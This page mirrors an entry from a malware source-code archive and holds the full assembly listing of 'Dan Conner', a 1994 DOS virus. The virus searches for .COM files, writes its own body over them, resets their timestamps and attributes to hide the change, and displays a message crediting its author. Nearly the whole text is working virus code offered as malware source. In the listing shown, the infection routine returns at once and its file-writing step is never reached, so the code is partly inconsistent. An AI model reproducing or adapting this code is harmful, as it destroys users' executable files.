mirror of
https://github.com/vxunderground/MalwareSourceCode
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122 lines
4.0 KiB
NASM
122 lines
4.0 KiB
NASM
; Dan Conner written by MuTaTiON INTERRUPT
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; To compile this use TASM /M dan.asm
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;---------
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code segment public 'code'
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assume cs:code
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org 100h ; All .COM files start here
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start:
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db 0e9h,0,0 ; Jump to the next command
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virus:
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mov ax,3524h ; Get int 24 handler
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int 21h ; To ES:BX
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mov word ptr [oldint24],bx ; Save it
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mov word ptr [oldint24+2],es
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mov ah,25h ; Set new int 24 handler
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mov dx,offset int24 ; DS:DX->new handler
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int 21h
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push cs ; Restore ES
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pop es ; 'cuz it was changed
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mov dx,offset comfilespec
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call findfirst
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mov ah,9 ; Display string
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mov dx,offset virusname
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int 21h
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mov ax,2524h ; Restore int 24 handler
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mov dx,offset oldint24 ; To original
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int 21h
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push cs
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pop ds ; Do this because the DS gets changed
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int 20h ; quit program
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findfirst:
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mov ah,4eh ; Find first file
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mov cx,7 ; Find all attributes
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findnext:
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int 21h ; Find first/next file int
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jc quit ; If none found then change dir
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call infection ; Infect that file
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mov ah,4fh ; Find next file
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jmp findnext ; Jump to the loop
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quit:
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ret
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infection:
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quitinfect:
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ret
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FinishInfection:
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xor cx,cx ; Set attriutes to none
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call attributes
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mov al,2 ; open file read/write
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call open
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mov ah,40h ; Write virus to file
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mov cx,eof-virus ; Size of virus
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mov dx,100
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int 21h
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closefile:
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mov ax,5701h ; Set files date/time back
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push bx
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mov cx,word ptr [bx]+16h ; Get old time from dta
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mov dx,word ptr [bx]+18h ; Get old date
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pop bx
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int 21h
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mov ah,3eh ; Close file
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int 21h
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xor cx,cx
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mov bx,80h
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mov cl,byte ptr [bx]+15h ; Get old Attributes
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call attributes
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retn
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open:
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mov ah,3dh ; open file
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mov dx,80h+30
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int 21h
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xchg ax,bx ; file handle in bx
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ret
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attributes:
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mov ax,4301h ; Set attributes to cx
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mov dx,80h+30
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int 21h
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ret
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int24: ; New int 24h (error) handler
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mov al,3 ; Fail call
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iret ; Return from int 24 call
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Virusname db 'Dan Conner - Anything You Say Dear...',10,13
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Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
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Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
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db 'Hey: I LOVE ROSEANNE!','$'
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comfilespec db '*.com',0 ; Holds type of file to look for
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eof equ $ ; Marks the end of file
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oldint24 dd ? ; Storage for old int 24h handler
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code ends
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end start
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